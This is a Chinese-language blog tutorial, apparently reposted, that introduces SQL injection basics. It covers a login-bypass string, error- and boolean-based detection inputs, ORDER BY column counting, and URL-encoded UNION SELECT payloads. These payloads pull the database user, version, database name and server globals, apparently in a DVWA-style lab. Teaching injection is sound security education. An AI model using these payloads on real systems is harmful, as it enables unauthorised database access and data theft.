美文网首页
二十二、SQL注入(1)基础

二十二、SQL注入(1)基础

作者: cybeyond | 来源:发表于2017-11-03 16:35 被阅读0次

    目录
    1.概述
    2.登录判断
    3.检测方法
    3.1 基于报错的检测方法
    3.2 基于布尔的检测
    3.3 表列数/显示信息位于哪一列
    3.4 ASCII转字符
    3.5 连接字符串
    3.6 md5值计算
    3.7 执行结果切分

    1、概述

    • 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;
    • 不仅可以获得针对数据库,还能通过sql获得系统权限、文件操作等

    2、登录判断

    SELECT * FROM users WHERE user=‘name' AND password=‘pass‘
    SELECT * FROM users WHERE user=‘name' AND password='' OR ''=''
    

    3、检测方法

    3.1、基于报错的检测方法

    一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接输入一个单引号/双引号/百分号%,数据库因为多出的输入字符导致无法闭合而报错

     ' '' % ()
    

    3.2 基于布尔的检测

    基于上述判断,再进一步确认服务端是否执行

    1’ and ‘1’=‘1 或1' and '1
    1’ and ‘1’=‘2 或1' and '0
    
    布尔检测

    3.3 表列数/显示信息位于哪一列

    通过下面的语句猜测一个表中包含几个字段,数字变换尝试

    'order by 9--        //--表示后面的为注释(--后有1个空格),变为'' order by 9-- ',效果为'' order by 9
    

    对于order by 数字的用户说明如下:

    示例1:
    SELECT last_name, salary , hire_date
    FROM EMPLOYEES
    ORDER BY salary DESC;
    示例2:
    SELECT last_name, salary , hire_date
    FROM EMPLOYEES
    ORDER BY 2 DESC;
    以上两个示例结果相同。
    因为ORDER BY salary DESC==ORDER BY 2 DESC
    salary是第二个元素,所以可以使用2来代替。
    但是数字不可以使用0,也不可以超出查询的列。
    例如:select * from employers
    order by x;
    如果employers表有九个字段,那个X的范围就是1---9
    不能是0,也不能是10.

    在输入时,如果使用select语句,使用union或union all进行联合查询

    ' union select 1,2 --     // 查询哪个字段名(注意--后面有空格)
    
    查询字段名
    ' union select user(),version()--   //查询用户名和版本
    
    查询用户名和版本
    ' union select user(),database()--   //查询用户名和数据库名称
    
    查询用户名和数据库名称
    ' union select user(),@@datadir--   
    全局函数还包括@@hostname、@@version、@@version_compile_os
    
    使用全局函数

    通过使用Firefox安装的hackbar,执行sql命令:


    使用全局函数

    3.4、ASCII转字符

    ?id='+union+select+user(),char(70)--+
    &Submit=Submit#
    
    char

    3.5、连接字符串

    ?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--+
    &Submit=Submit#  //第1个字段同时查询多个数据,第2个字段为空
    
    contact连接字符

    3.6、md5值计算

    ?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),md5('abc')),null--+
    &Submit=Submit#
    
    image.png

    3.7、执行结果切分

    将查询的结果切分,返回想要的结果

    ?id='+union+select+database(),substring_index(USER(),"@",1)--+
    &Submit=Submit#   //查询user(),并以@为分隔符,取第一个字段
    
    执行结果气氛

    相关文章

      网友评论

          本文标题:二十二、SQL注入(1)基础

          本文链接:https://www.haomeiwen.com/subject/zxzzpxtx.html